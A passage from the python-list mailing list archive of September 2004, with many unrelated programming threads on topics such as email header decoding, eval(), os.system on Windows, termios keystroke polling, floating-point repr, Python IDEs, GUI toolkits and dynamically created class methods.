Karelia - Russia - mailto:rnd at onego.ru - On Thu, 9 Sep 2004, Roman Suzi wrote: > > I was using Python module email.Header to decode headers and encountered > problems with some of the headers. One example is given below: > > Python 2.3.4 (#1, May 27 2004, 15:48:35) > [GCC 3.2.2 20030222 (Red Hat Linux 3.2.2-5)] on linux2 > > >>> import email.Header > >>> email.Header.decode_header('''=?koi8-r?B?Qm9va3MuUnUgLSDOz9fZyiDTwcrULCDOz9fZxSDTy8nEy8k?= =?koi8-r?B??=''') > Traceback (most recent call last): > File "<stdin>", line 1, in ? > File "/var/tmp/python2.3-2.3.4-root/usr/lib/python2.3/email/Header.py", > line 113, in decode_header > email.Errors.HeaderParseError > > While mailers decode Subject just fine... Is it a case of some > standard deviation? > > > Sincerely yours, Roman A.Suzi > -- > - Petrozavodsk - Karelia - Russia - mailto:rnd at onego.ru - > > -- > http://mail.python.org/mailman/listinfo/python-list > From martin at v.loewis.de Thu Sep 2 02:21:40 2004 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Thu, 02 Sep 2004 08:21:40 +0200 Subject: compiling to python byte codes In-Reply-To: <4136b2b5$1@news.unimelb.edu.au> References: <4136b2b5$1@news.unimelb.edu.au> Message-ID: <4136bbf3$0$197$9b622d9e@news.freenet.de> Maurice LING wrote: > I remembered reading a MSc thesis about compiling Perl to Java bytecodes > (as in java class files). You don't have to look that far. Jython compiles Python code into Java bytecode; IronPython compiles Python code into Microsoft intermediate language. > I'm wondering if > something of such had been attempted in python, as in compiling X > language into .pyc. The easiest way to create a .pyc file is to create a Python file, and then compile that. There are various tools that compile X to .pyc. For example, Fnorb compiles OMG IDL into .pyc files. > I do not understand the schematics of .pyc files but > I assume that they are the so called python bytecode files. That's correct. > Or is there any documentation or books that is the python equivalent of > "Programming for the Java Virtual Machine" by Joshua Engel? There is the dis module and its documentation. However, as I said, in Python, you don't really *need* to create .pyc files directly, as the Python compiler is always available through the compile() builtin function. This is unlike Java or .NET, where the compiler is not available in the JRE, or the .NET commercial framework. Regards, Martin From peter at engcorp.com Wed Sep 15 14:41:33 2004 From: peter at engcorp.com (Peter Hansen) Date: Wed, 15 Sep 2004 14:41:33 -0400 Subject: Convert Dictionary to String, vice versa? In-Reply-To: <As%1d.951$0i5.675@newsread3.news.pas.earthlink.net> References: <As%1d.951$0i5.675@newsread3.news.pas.earthlink.net> Message-ID: <c96dnSUP7IdCEdXcRVn-uA@powergate.ca> Byron wrote: > I am a newbie and would like to know if it is possible to convert a > string back to a dictionary? > > For example, I can convert a dictionary to a string by doing this: > > >>> names = {"Candy" : 2.95, "Popcorn" : 4.95} > >>> strNames = str(names) > >>> print strNames > {'Popcorn': 4.9500000000000002, 'Candy': 2.9500000000000002} In this particular case, this works: >>> d = eval(strNames) >>> d {'Popcorn': 4.9500000000000002, 'Candy': 2.9500000000000002} But be cautious using "exec" and "eval()", as they are potential security risks -- primarily when passing them data that comes from a user or has been made accessible to a user, such as by persisting it. I suspect the answer to "how?" is in the FAQ. If not, it's definitely in the list archives. -Peter From alf at merlin.fayauffre.org Fri Sep 10 04:12:42 2004 From: alf at merlin.fayauffre.org (Alexandre Fayolle) Date: Fri, 10 Sep 2004 08:12:42 +0000 (UTC) Subject: Is except: ... pass bad style? References: <pan.2004.09.09.16.26.16.985806@python.net> Message-ID: <chrnlq$1i8s$1@biggoron.nerim.net> Le 09-09-2004, marduk <marduk at python.net> a ?crit?: > I commonly use code like this > > try: > # call optional method > myobj.method() > except AttributeError: > # no biggie > pass > > > Occasionally I use pylint, which is a good tool, but in the above Good idea, and thanks. :-) > snippet pylint will complain that 'Except doesn't do anything'. True, > but is that bad style? I know there are other ways of doing it, but > of all the other "obvious" ones, this appears the most straight > forward. I was the one who originally asked pylint to report this construct, after spending too many hours looking for a bug caused by an silenced exception (for the record, the code was not written in Python, but in Java) This is a only a warning. It is easy to disable the report from the command line (--disable-msg W0704) if it bothers you anyway. My personal POV on the topic is that such blocks without a clear comment (or an else: block) make it more difficult to read the code, as a general rule, and should be avoided when possible, because the reader has to find out why it is reasonable to ignore the exception. "Errors should never pass silently. Unless explicitly silenced." -- Tim Peters' Zen of Python I feel that explaining why you silenced the error is generally a good idea too. -- Alexandre Fayolle LOGILAB, Paris (France). http://www.logilab.com http://www.logilab.fr http://www.logilab.org From export at hope.cz Wed Sep 29 02:46:34 2004 From: export at hope.cz (Lad) Date: 28 Sep 2004 23:46:34 -0700 Subject: os.system vs. Py2Exe References: <81a41dd.0409280200.1a74edd1@posting.google.com> <77ce170c.0409280647.7e98e76d@posting.google.com> <81a41dd.0409281107.5fd1c525@posting.google.com> <4159b868$0$99417$a1866201@newsreader.visi.com> <cjcsu9$tda$0$216.39.172.122@theriver.com> Message-ID: <81a41dd.0409282246.3e4e5889@posting.google.com> bokr at oz.net (Bengt Richter) wrote in message news:<cjcsu9$tda$0$216.39.172.122 at theriver.com>... > On 28 Sep 2004 19:15:52 GMT, Grant Edwards <grante at visi.com> wrote: > > >On 2004-09-28, Lad <export at hope.cz> wrote: > > > >> Yes, I installed all files( I think) because everything else > >> works. Only os.system does NOT. I use os.system to open txt > >> file.I use it like os.system('Myfile.txt') > > > >What makes you think that should work? > > > >Is Myfile.txt an executable file? Under Win32, don't > >executble file's names usually end in .exe? > > It's not a matter of _being_ executable, it's a matter of having an executable > _associated with_ the extension. Typically notepad.exe is associated with .txt > (via an intermediate association with a generic file type name that in turn > is associated with the actual executable): > ---- > [16:30] C:\pywk\junk>assoc .txt > .txt=txtfile > > [16:30] C:\pywk\junk>ftype txtfile > txtfile=C:\WINNT\System32\NOTEPAD.EXE %1 > ---- > > >> When I use os.startfile instead of os.system it works well. > > > >Then why not use os.startfile()? It's the correct way to start > >the program that is supposed to handle .txt files. > One difference is that os.system will wait for the completion of what it starts, > but os.startfile will start a new process to do it, and return immediately. > > I would try it with full absolute paths to everything the in the os.system call. > If that works, you can look for why the environment is different. > > BTW, if you execute via start menu or double clicking a desktop icon, the associated > .lnk may specify the starting directory. If that is different from current directory, > bare names may be looked for in unexpected place and not be found (or worse, a file > of the same name may be found, but be the wrong one). Right click on the icon and look > at the properties. Or right click the task bar and chase properties of start menus that way, > or start>settings>taskbar> etc. > > BTW2, if you want to type in a file name without extension, as you can with .exe > and .bat etc., it implies a priority choice if e.g. both .exe and .bat exist > in the same path directory. You can influence this by the PATHEXT environment > variable. Go to a console window and type > help ftype|more > and also > help assoc|more > for additional info > > BTW3, beware of changing .exe association!! I was aghast to find (some time ago) that > NS4.5 let me change that association via its file association option interface. > It was pretty squirrely to get back to normal. No console commands would work. > (IIRC I finally used start menu>run>browse to find and execute regedit32 and repaired > it that way, after booting in last known good to see what the registry was supposed to be > for .exe). Very anxious moments there ;-) > > Regards, > Bengt Richter .txt file is associated with a propper application( Notepad.txt). AS I said above, with os.startfile the file is open in Notepad.txt but not if I use os.system. I can not use os.startfile, because it does not wait until .txt file is closed From fakeaddress at nowhere.org Mon Sep 6 02:21:54 2004 From: fakeaddress at nowhere.org (Bryan Olson) Date: Mon, 06 Sep 2004 06:21:54 GMT Subject: Tuple question In-Reply-To: <1094449712.70288@yasure> References: <41374a65$0$22750$db0fefd9@news.zen.co.uk> <opsdpkf1d5433nmu@news.cisco.com> <41374cfb$0$22750$db0fefd9@news.zen.co.uk> <opsdpk6kx9433nmu@news.cisco.com> <mailman.2775.1094145196.5135.python-list@python.org> <donn-8ED685.11274102092004@gnus01.u.washington.edu> <1gjjz2x.l0wwhf13bna6eN%aleaxit@yahoo.com> <1094359182.57429@yasure> <DvK_c.16213$r_4.2892@newssvr27.news.prodigy.com> <1094449712.70288@yasure> Message-ID: <6mT_c.16258$4P4.16211@newssvr29.news.prodigy.com> Donn Cave wrote: > Quoth Bryan Olson: > ... > | Alas, that's ML, not Python. Were that Python's designers' > | intent, why isn't it part of Python's design? Why would we want > | to live within the confines of static typing, but without the > | safety and efficiency advantages of a type-checking compiler? > > That is not what is homogeneous about a list. That would indeed > be an absurd contradiction, so it should be easy to convince you > that it isn't how anyone proposes you should use a list. So, what > do they mean? I can't tell to what you are responding. > A homogeneous sequence, in the sense that makes sense in Python, > is one where any slice is has the same functional meaning to the > application. Of course the data is different and that can have > fundamental consequences, but it's different than (key, value) > for example where a[:] is the only slice that preserves its > meaning. That's pretty much what lists in the ML family offer, with static but polymorphic typing. Lisp uses lists for both homogeneous and heterogeneous sequences. Python allows lists or tuples to be treated either way. The rule to use them based on the homogeneous/heterogeneous distinctions strikes me more as programming language naivete than Python expertise. -- --Bryan From ebmaster at intekasia.com Wed Sep 29 12:22:18 2004 From: ebmaster at intekasia.com ( I¦QI) Date: 29 Sep 2004 16:22:18 GMT Subject: My china ex. girlfriend Message-ID: <cjenfq$av91714@imsp212.netvigator.com> An HTML attachment was scrubbed... URL: <http://mail.python.org/pipermail/python-list/attachments/20040929/8093ea4b/attachment.html> From lee at leeHYPHENphillips.org.invalid Wed Sep 22 18:19:31 2004 From: lee at leeHYPHENphillips.org.invalid (Lee Phillips) Date: Wed, 22 Sep 2004 22:19:31 +0000 (UTC) Subject: Check for keystroke References: <Xns956C6558D1D9Anonenonecom@24.93.43.121> Message-ID: <slrncl3upc.b6e.lee@bad-bart.lcp.nrl.navy.mil> On Wed, 22 Sep 2004 14:37:56 GMT, Brian <ThisIsNotMyReal at ddress.com> did write: > Inside a loop, I need to passively check to see if a key is pressed or not > without pausing like raw_input does. I've had partial success on Mac OS X using termios (partial because it seems to miss some keystrokes - also I haven't looked at this in a while): import termios # in your method: old = termios.tcgetattr(fd) # Old term info for restoration later new = termios.tcgetattr(fd) new[3] = new[3] & ~termios.ICANON & ~termios.ECHO new[6][termios.VMIN] = 1 new[6][termios.VTIME] = 0 termios.tcsetattr(fd, termios.TCSANOW, new) while 1: try: command = os.read(fd, 1) print command+">", #Echo manually if command == '0': termios.tcsetattr(fd, termios.TCSADRAIN, old) #Terminal back to line mode break elif command == 'b': # do something.... # and so on..... finally: termios.tcsetattr(fd, termios.TCSAFLUSH, old) From jmfbahciv at aol.com Wed Sep 8 07:48:36 2004 From: jmfbahciv at aol.com (jmfbahciv at aol.com) Date: Wed, 08 Sep 04 11:48:36 GMT Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com><20040904.0140.57670snz@dsl.co.uk> <769.746T1245T5844062@kltpzyxm.invalid> <opsdy5xuappqzri1@mjolner.upc.no> <p9qdnTnxTYDJR6PcRVn-pw@speakeasy.net> Message-ID: <413f049f$0$6914$61fed72c@news.rcn.com> In article <p9qdnTnxTYDJR6PcRVn-pw at speakeasy.net>, rpw3 at rpw3.org (Rob Warnock) wrote: >John Thingstad <john.thingstad at chello.no> wrote: >+--------------- >| As you may know XP is not particularly good as a server. >.... >| I would go for some Unix implementation (perhaps free-BSD) >| As a workstation XP seems OK. >| I hear a lot of complaints about XP's stability. >| Since I have not administered a XP network, yet, I cant comment on that. >| But in my personal experience it is a stable system. >| I frequently let my computer run 24 hrs. a day for more than a month >| without a need to reboot. So for me it is adequate. >+--------------- > >*Only* a month?!? Here's the uptime for one of my FreeBSD boxes >[an old, slow '486]: > > % uptime > 2:44AM up 630 days, 21:14, 1 user, load averages: 0.06, 0.02, 0.00 > % > >That's over *20* months!! I bet we can measure the youngster's age by the uptimes he boasts. > > >-Rob > >p.s. I remember the time back in the early 70's (at Emory Univ.) when >we called DEC Field Service to complain that our PDP-10 had an uptime >of over a year. Why were we complaining? Well, that meant that DEC Field >Service had failed to perform scheduled preventive maintenance (which >usually involved at least one power cycle)... ;-} One? Had to be two. FS was supposed to use their service pack as the system disk, not the customers!!! I believe that was true even in 1970. The dangers of smushing bits was too great. /BAH Subtract a hundred and four for e-mail. From rogerb at rogerbinns.com Sat Sep 11 16:23:47 2004 From: rogerb at rogerbinns.com (Roger Binns) Date: Sat, 11 Sep 2004 13:23:47 -0700 Subject: WxInter References: <mailman.3148.1094829029.5135.python-list@python.org> <chsieg$7q1$1@news-reader3.wanadoo.fr> Message-ID: <0b4c12-k1s.ln1@home.rogerbinns.com> Eric Brunel wrote: > Compare this with the tk canvas command manual at > http://www.tcl.tk/man/tcl8.3/TkCmd/canvas.htm and you'll see we're > quite far from it: I didn't see any means to move canvas items > individually, or group them with tags, or knowing which items are at > a given position, all things a tk canvas can do very easily... How does wxArt2D compare? http://wxart2d.sourceforge.net/ It hasn't been wrapped for wxPython yet, but seems to cover the same sorts of issues you mentioned in the message. Roger From noone at here.com Thu Sep 30 01:10:35 2004 From: noone at here.com (M. Clift) Date: Thu, 30 Sep 2004 06:10:35 +0100 Subject: List rotation References: <cjftdv$ofl$1@news8.svr.pol.co.uk> <mailman.4116.1096515802.5135.python-list@python.org> Message-ID: <cjg4hq$r02$1@newsg4.svr.pol.co.uk> Hi Steven, Sorry, as I'm a beginner I don't think I should have used the title rotate list, as that's not what I want. If the list ('a', 'd', 'b', 'a', 'd', 'c', 'b') was rotated once it would of course give('d', 'b', 'a' etc... What I'm looking for is that say if trans = 1, then the list would become ('b', 'a', 'c', 'b', 'a', 'd', 'c') . For trans = 3 the list would be ('d', 'c', 'a', 'd', 'c', 'b', 'a') items = ('a', 'b', 'c', 'd') items + 1 = ( 'b', 'c', 'd', 'a') items + 2 = ( 'c', 'd', 'a', 'b') items + 3 = ( 'd', 'a', 'b', 'c') trans = 1 list = ('a', 'd', 'b', 'a', 'd', 'c', 'b') I can think of the long/wrong way to do it as shown for trans = 3, but there must be some simpler idea. for idx in range(len(items)): if list[idx:idx + 1] == ['a']: list[idx:idx + 1] = ['d'] if list[idx:idx + 1] == ['b']: list[idx:idx + 1] = ['a'] From steve at holdenweb.com Sun Sep 26 12:05:44 2004 From: steve at holdenweb.com (Steve Holden) Date: Sun, 26 Sep 2004 12:05:44 -0400 Subject: Fixed: pyMinGW patched Python compiles in MinGW & passes regrtests In-Reply-To: <8ad8ad0a.0409221415.3d328fc3@posting.google.com> References: <8ad8ad0a.0409200909.545f257@posting.google.com> <ufz5clka2.fsf@yahoo.co.uk> <8ad8ad0a.0409221415.3d328fc3@posting.google.com> Message-ID: <4156E8D8.7000300@holdenweb.com> A. B., Khalid wrote: > Paul Moore <pf_moore at yahoo.co.uk> wrote in message news:<ufz5clka2.fsf at yahoo.co.uk>... > >>abkhd at earth.co.jp (A. B., Khalid) writes: >> >> >>>This is to inform those interested in getting Python to compile in >>>MinGW that the pyMinGW patch is now able to help compile both Python >>>2.3.4 Final and Python 2.4a3 and the resulting MinGW Python passes the >>>regrtests as follows. >> >>Cool! It would be nice if this could be made into a patch to core >>python, so that the main sources support a mingw build. >> >>Paul. > > > > Hello Paul. Sorry for the delay. > > Yes, it would be, wouldn't it? If you were addressing me there, as > opposed to the general audience of c.l.py or the core-developers of > Python, then allow me to say that in principal I have no problem with > pyMinGW making it to Python's core, provided of course that a > copyright notice appears somewhere (at least in the makefiles). This I > think would not be a problem. After all, and from what I have seen of > Python's source, there is a good habit of including copyright notices > of contributing authors to Python in the works they authored. > > I must confess that aside from me being totally unfamiliar with the > process of officially patching Python, the major hurdle appears to me, > in addition to that, in whether the patch was tested enough, or by > enough people, so as to earn itself a place in the core- that of > course if it will be allowed a place there to start with. Have you > tried it out? Please do if you still didn't have the chance. > > I might be mistaken, but I think that testing should come first. After > all there is nothing urgent here, or is there? When people find that > it really works, they will call for it to be included in Python's > source. In the meantime, pyMinGW is there for those who need it, and > being a third-party patch should not be a reason to scare people away > from using it, especially since it gets the job done. With that said, > I am open to any thoughts on this from your esteemed person or from > anyone else. > I believe that contributors to the core are nowadays (or will shortly be expected to) assign the right to the PSF to use the material. I believe this is done in such a way as to allow the contributor to retain the rights to do whatever they like with the code also, but you should familiarize yourself with the current state of play. http://www.python.org/psf/psf-contributor-agreement.html is, alas, an out-of-date draft, but there's probably more recent documentation available. python-dev is probably the place to go for authoritative comment on this matter. regards Steve From jerf at jerf.org Sun Sep 19 18:19:18 2004 From: jerf at jerf.org (Jeremy Bowers) Date: Sun, 19 Sep 2004 22:19:18 GMT Subject: python is going to die! =( References: <mailman.3520.1095631846.5135.python-list@python.org> Message-ID: <pan.2004.09.20.19.27.30.753994@jerf.org> On Sun, 19 Sep 2004 17:58:44 -0400, julio wrote: > It realy makes no sense , no sense at all. C# is that-a-way ---> HTH. From steven.bethard at gmail.com Mon Sep 6 02:17:03 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Mon, 6 Sep 2004 06:17:03 +0000 (UTC) Subject: docs on for-loop with no __iter__? References: <mailman.2873.1094321890.5135.python-list@python.org> <bMp_c.7491$w%6.1810@newsread1.news.pas.earthlink.net> <mailman.2879.1094332737.5135.python-list@python.org> <Fvq_c.379$ip2.170@newsread3.news.pas.earthlink.net> <mailman.2883.1094340967.5135.python-list@python.org> <9Ix_c.7839$w%6.378@newsread1.news.pas.earthlink.net> Message-ID: <loom.20040906T081026-954@post.gmane.org> Andrew Dalke <adalke <at> mindspring.com> writes: > What I wanted was forward iteration > in Python 1.x. It happened that forward iteration was > implemented only on top of indexing, so I had to hijack the > indexing mechanism to get what I wanted. But I never thought > of it as "x[i] indexing" only "the hack needed to get forward > iteration working correctly." Good, that reaffirms my intuition that you didn't really want the __getitem__ behavior (eg x[i] access) -- it was just the only way to get the __iter__ behavior too. Would it break old code if the __getitem__ iterator checked for a __len__ method and tried to use it if it was there? It just seems like if you already know you're creating a sequence type and you have a __len__ and a __getitem__, then you've already provided all the necessary information for iteration. Why should you have to define an __iter__ or throw IndexErrors in your __getitem__? Steve From bhk at dsl.co.uk Tue Sep 7 17:04:52 2004 From: bhk at dsl.co.uk (Brian {Hamilton Kelly}) Date: Tue, 07 Sep 2004 22:04:52 +0100 (BST) Subject: Xah Lee's Unixism References: <slrncj1745.t5q.amajorel@atc5.vermine.org> <41371e5c$0$19723$61fed72c@news.rcn.com> <20040904.2231.57679snz@dsl.co.uk> <413af268$0$19706$61fed72c@news.rcn.com> <rv1hhc.mtv2.ln@via.reistad.priv.no> <413c5b9c$0$19705$61fed72c@news.rcn.com> <qsdrj0dl4qi558bopev159fg4m7rn6mfoq@4ax.com> Message-ID: <20040907.2104.57722snz@dsl.co.uk> On Tuesday, in article <qsdrj0dl4qi558bopev159fg4m7rn6mfoq at 4ax.com> Brian.Inglis at SystematicSW.Invalid "Brian Inglis" wrote: > I was never aware that DEC offered TCP/IP. You'll have seen my later post about "TCP/IP Services for Vax/VMS" (which, a niggle tells me, had a different name, either before or after). This was written by the Unix developers at DEC, and consequently was very kuldgy and astonishingly badly-documented (for those of us used to the high quality of VMS documentation). Did you never see a UCX> prompt? > Politics and not timing was why TCP/IP didn't get into VMS: > d|i|g|i|t|a|l backed the European horse that never ran as it fitted > better with their network hardware capabilities and DECnet plans. > It also meant they did not have to deal with those BBN guys that had > developed a competing OS and network. > They had whole suites of products layered on top of DECnet that were > sold to European governments and contractors. Can you say "Colour Book Software"? :-( (Mind you, unattended file transfer running overnight beats FTP hands down.) -- Brian {Hamilton Kelly} bhk at dsl.co.uk "I don't use Linux. I prefer to use an OS supported by a large multi- national vendor, with a good office suite, excellent network/internet software and decent hardware support." From m.h.3.9.1.without.dots.at.cam.ac.uk at example.com Tue Sep 28 14:32:33 2004 From: m.h.3.9.1.without.dots.at.cam.ac.uk at example.com (Michael Hoffman) Date: Tue, 28 Sep 2004 19:32:33 +0100 Subject: floating point glitch In-Reply-To: <1gku4as.1ni4xf51edgvp2N%aleaxit@yahoo.com> References: <415295E6.9040602@ericsson.com> <l5ncl0horoifsmbadp6pu3sgje8ca2srf3@4ax.com> <cj5v5i$7vk$1@pegasus.csx.cam.ac.uk> <7xhdple624.fsf@ruckus.brouhaha.com> <kj0il0ddfqg7tebggk6qbnm6cvp5jumt87@4ax.com> <cjbqfv$kdm$1@pegasus.csx.cam.ac.uk> <1gku4as.1ni4xf51edgvp2N%aleaxit@yahoo.com> Message-ID: <cjcao5$jg2$1@gemini.csx.cam.ac.uk> Alex Martelli wrote: > Michael Hoffman <m.h.3.9.1.without.dots.at.cam.ac.uk at example.com> wrote: >> >>repr() does not provide an invertible function if you are using it on a >>list, as was pointed out here, since list.__repr__() essentially calls >>str() for its float members rather than repr(). > > ?! I think you're confused, since things are exactly the other way > around: list.__str__ calls repr on its members (so does list.__repr__, > which happens to be exactly the same function). Yep, I got that exactly backwards. D'oh! Thanks Alex and I'm sorry for any confusion I caused. -- Michael Hoffman From tim.peters at gmail.com Wed Sep 8 23:19:14 2004 From: tim.peters at gmail.com (Tim Peters) Date: Wed, 8 Sep 2004 23:19:14 -0400 Subject: %a format In-Reply-To: <413F4CFF.4030908@v.loewis.de> References: <20040907182925.GA27643@grulic.org.ar> <16702.1779.773067.819528@montanaro.dyndns.org> <20040908130837.GB4749@grulic.org.ar> <16703.9151.854368.874866@montanaro.dyndns.org> <413F4CFF.4030908@v.loewis.de> Message-ID: <1f7befae04090820194cc9086b@mail.gmail.com> [Martin v. L?wis] > ... > For the specific feature, I think a non-libc implementation would be > possible, since Python uses IEEE representation for floating point > numbers on most platforms (although atleast the VMS port doesn't > necessarily). Whether it is reasonable to implement this by mere > bit copying is a question that Tim Peters should answer :-) Python has no knowledge of the FP format used by the platform C it's compiled under. VMS and some Crays may not use IEEE double format for Python long, but we've got no code that knows (or cares) to build on. Endianness differs across platforms too, of course. I don't have a use for %a myself, so I don't care about it. Pickles are Python's serialization format, and pickle protocols 1 and 2 use a portable binary format for floats that happens to be identical to 754 double format for finite non-0 floats (and so is also restricted to the precision and dynamic range of a 754 double). The other serialization format is repr(float), which produces a decimal string representation, and on every IEEE platform with IEEE-conforming libc I/O, eval(repr(afloat)) == afloat exactly for all finite afloat. So there are already those two ways to transport a finite 754 float across boxes exactly. The marshal and struct modules supply two more (although marshal relies on repr(); and struct in its standard modes copy-and-paste duplicates cPickle's code). I don't need five ways to spell it <wink>. From peter at engcorp.com Fri Sep 10 12:19:26 2004 From: peter at engcorp.com (Peter Hansen) Date: Fri, 10 Sep 2004 12:19:26 -0400 Subject: Electronic voting feasibility In-Reply-To: <JtmdnS-gR__-U9zcRVn-iQ@giganews.com> References: <chr77a$4gj@odak26.prod.google.com> <-_CdnSvxZtZcPdzcRVn-iw@giganews.com> <mailman.3140.1094820652.5135.python-list@python.org> <otKdnctyIcclNtzcRVn-gg@giganews.com> <28KdnThSO7DtM9zcRVn-pQ@powergate.ca> <8PWdnfxkGeIFWNzcRVn-qQ@giganews.com> <K9ydnRpo-6dZVdzcRVn-vw@powergate.ca> <JtmdnS-gR__-U9zcRVn-iQ@giganews.com> Message-ID: <_4KdnfDylt2TSdzcRVn-pg@powergate.ca> Istvan Albert wrote: > Looking at what they claim, that in 2003 they discovered a back door > affecting every evoting machine, a backdoor that requires > a 2 digit code to overwrite the votes stored in the system, > moreover even a year later every system has this same flaw... > > I don't find this credible, ... Maybe, but I've found other articles that said that the Diebold machines *all* had a hardcoded password of "1111" at one point... not a stretch to think they also had a simplistic backdoor like that. The president of the company says they "are not incompetent", so we might as well believe him, though, and not Bev Harris. ;-) -Peter From ian at cottee.org Tue Sep 14 00:57:08 2004 From: ian at cottee.org (Ian J Cottee) Date: Tue, 14 Sep 2004 13:57:08 +0900 Subject: Ranting about the state of Python IDEs for Windows In-Reply-To: <mailman.3261.1095106220.5135.python-list@python.org> References: <mailman.3261.1095106220.5135.python-list@python.org> Message-ID: <5aai12-3fp.ln1@suse.zobbo.org> Carlos Ribeiro wrote: > Oh well. A mailing list is not the most appropriate place for rants (a > blog is better), but it's still better than keeping it for myself. [snip] I spent quite a bit of time evaluating Python IDE's a few months back and I agree with you. The only one I liked was WingIDE 2 but none of them were able to tempt me away from Emacs. In particular I am using the emacs code browser with Python (http://ecb.sourceforge.net). I think it may well do what you want although it does take a little setting up and if you don't know Emacs you have that hill to climb. I just did a screen shot from some python source code I am working on for a Plone project. (click on the image to fullsize it). http://photos.zobbo.org/album04/python_ecb Note the left hand panels which are giving links to files in the current directory, recently opened files, directory paths and a class browser for the current source file. With my setup if (for example) I <Alt>-. on the word StringWidget in my Case.py source file I'll automatically open up the class definition in the window next to it. Using emacs python mode I get syntax hilighting, easy methods of moving code around and the ability to set tracepoints using pdb and display the pdb buffer next to the source code you are debugging. As you work your way through the code, the source buffer will track what you are looking at simultaneously. Another benefit is I can run the same IDE on both Windows, Linux and OS X and (importantly for me) can run the same environment over a ssh terminal if I am developing on a remote machine. The screenshot is from XP by the way. I also use the Emacs ELSE mode to make templating easier. if you use xemacs you can have tabbing for the openfiles although I personally I don't like that setup. Not saying this solution is for everyone and it isn't perfect but it's the best I've found so far for me. Ian From aleaxit at yahoo.com Sat Sep 25 05:38:11 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sat, 25 Sep 2004 11:38:11 +0200 Subject: Python GUI, which one? References: <mailman.3841.1096027498.5135.python-list@python.org> Message-ID: <1gko2m1.qbh38g26vpuzN%aleaxit@yahoo.com> Sells, Fred <fred at adventistcare.org> wrote: > I see there are several different choices for Python GUI API's. > > Is there any indication of which ones are > 1. the most commonly used? > 2. the most reliable? > 3. the most robust? There are many cross-platform ones, such as wxPython, PyQt, Tkinter, PyGTK, and many others, and many platform-specific ones too (Windows-only, Mac-only, etc). Most commonly used is probably still good old Tkinter: it was the first widespread one and is distributed with most Python distributions (entirely so, in the case of Windows; requiring previous installs of Tcl/Tk, elsewhere) as well as used by IDLE, the simple IDE distributed with Python. I would guess that wxPython is next most popular (being free everywhere and for any purpose) and PyQt third (being free only for free software on non-Windows platforms, but for-pay if you want to develop non-free software and/or to develop or deploy on Windows). Not sure how you distinguish reliable from robust, sorry. Tkinter has been around for a LONG time, and widely used, so I'd guess the bugs must be out of it by now (it helps that it offers far fewer widgets than the newer ones: the bigger a library, the buggier it's likely to be). PyQt, as a product with partially commercial underpinnings, receives much care in debugging etc, but so does wxPython (and the underlying C++ wxWidgets toolkit it rests on); sometimes one gets the impression that things are perennially changing with these, so that something written for 2.4.2 breaks with 2.5.1 (wx), or something written for 3.1 breaks with 3.3 (Qt), so if the holy grail is *stability* you might be happiest with Tkinter -- tried and true and solid and stable. (but if you're looking for gee-whizz bazillion of widgets etc etc, that's antithetical...:-). Alex From peter at engcorp.com Mon Sep 13 11:08:04 2004 From: peter at engcorp.com (Peter Hansen) Date: Mon, 13 Sep 2004 11:08:04 -0400 Subject: Not able to read blank lines and spaces on a small text file In-Reply-To: <2e569af.0409130648.a6aa116@posting.google.com> References: <2e569af.0409130648.a6aa116@posting.google.com> Message-ID: <5fSdnTmE0pZIKtjcRVn-oQ@powergate.ca> Ruben wrote: > while record != "": > try: > record = input_file.readline() > key_value_pair = record.split() > key = key_value_pair[0] > value = key_value_pair[1:] > concatenated_value= ' '.join(value) > if record == "": > empty_string_lines += 1 > print " Victor Empty string lines = ", empty_string_lines > break > except IndexError: > break The first time this code reads a line which doesn't contain whitespace separated records, the record.split() call will return an empty list, and the next line will try to retrieve the first element from it, raising an IndexError, which will terminate the loop. Your code doesn't seem to be following any of the usual Python idioms. I suggest starting with the following pattern instead, and growing the code from there: input_file = open(...) try: for record in input_file: if record.strip() == '': # blank line, ignore continue # record-processing code follows here key_value_pair = record.split() key = key_value_pair[0] ... etc.... finally: input_file.close() The above pattern will allow the record-processing code to handle *only* non-blank lines (including lines that have just empty whitespace), simplify everything immensely. -Peter From jjl at pobox.com Sat Sep 25 08:17:14 2004 From: jjl at pobox.com (John J. Lee) Date: 25 Sep 2004 13:17:14 +0100 Subject: Python and Sybase References: <wVE4d.53$26.20@llslave.llan.ll.mit.edu> <mailman.3815.1095972439.5135.python-list@python.org> <1gkn9go.1d3dgwh4edmdrN%aleaxit@yahoo.com> Message-ID: <87hdpma6gl.fsf@pobox.com> aleaxit at yahoo.com (Alex Martelli) writes: > Josh Close <narshe at gmail.com> wrote: > > > > Also, is there any module that provides a generic DB API and can be > > > hooked to both Sybase and postgresql? This > > > (http://www.python.org/peps/pep-0249.html) looks pretty old. > > > > Why would you need that? Python has a DB API, so all you have to do to > > change from db to db is the connection string. > > > > conn = Sybase.connection(.....) > > conn = otherModules.connection(....) > > > > Everthing else should work the same way. > > ...except that you may need to use different placeholders in SQL strings > for parameters to insert (sigh)... ...and there are of course variations in SQL from DBMS to DBMS... IIRC, Steve Holden suggests in his book [1] the use of internationalization (i18n) tools (eg. gettext) to make DB API code portable. Seems unfortunately apt. [1] "Python Web Programming", New Riders (2002) John From shevitz at lanl.gov Wed Sep 22 19:21:16 2004 From: shevitz at lanl.gov (Danny Shevitz) Date: Wed, 22 Sep 2004 17:21:16 -0600 Subject: inelegance in calling dynamically created class methods from scripting level Message-ID: <41520909$1_5@news3.es.net> Howdy, I am trying to call class methods that have been created via a "type" function. I have enclosed a simplified example that shows what I am trying to do. In particular I am calling from the scripting level which is in a different namespace than the dynamically created class. I can call the method, but only by passing strings and using getattr.I find this inelegant. I would rather pass a callable object, but cannot figure out how to do this. So in the example below, I'm trying to get a variant of "myApply" to work. "myApply2" works but uses strings. thanks, Danny #---%<------------------------------------------------------------------- # The purpose of this test is to test ways # to call subclass methods from a scripting level class Item(object): def __init__(self,val): self.value=val def myPrint(self): print self.value class DoSomething(object): def __init__(self, dict): ItemChild = type('Item_child',(Item,),dict) self.childClass=ItemChild # create an example list self.itemList = [] for i in range(5): self.itemList.append(ItemChild(i)) # can't get to work with callable objects def myApply(self, whatever): for item in self.itemList: whatever(item) # works with string arguments def myApply2(self, whatever): func = getattr(self.childClass,whatever) for item in self.itemList: func(item) ########################################################## # begin scripting code ########################################################## # child method to be spliced in def reset(self,val=0): self.value=val # construct a DoSomething class ds = DoSomething({'hoopty':reset}) # I am trying to get something like this working... # ds.myApply(???something callable???) Can't get to work! # control operation from the scripting level ds.myApply2('myPrint') 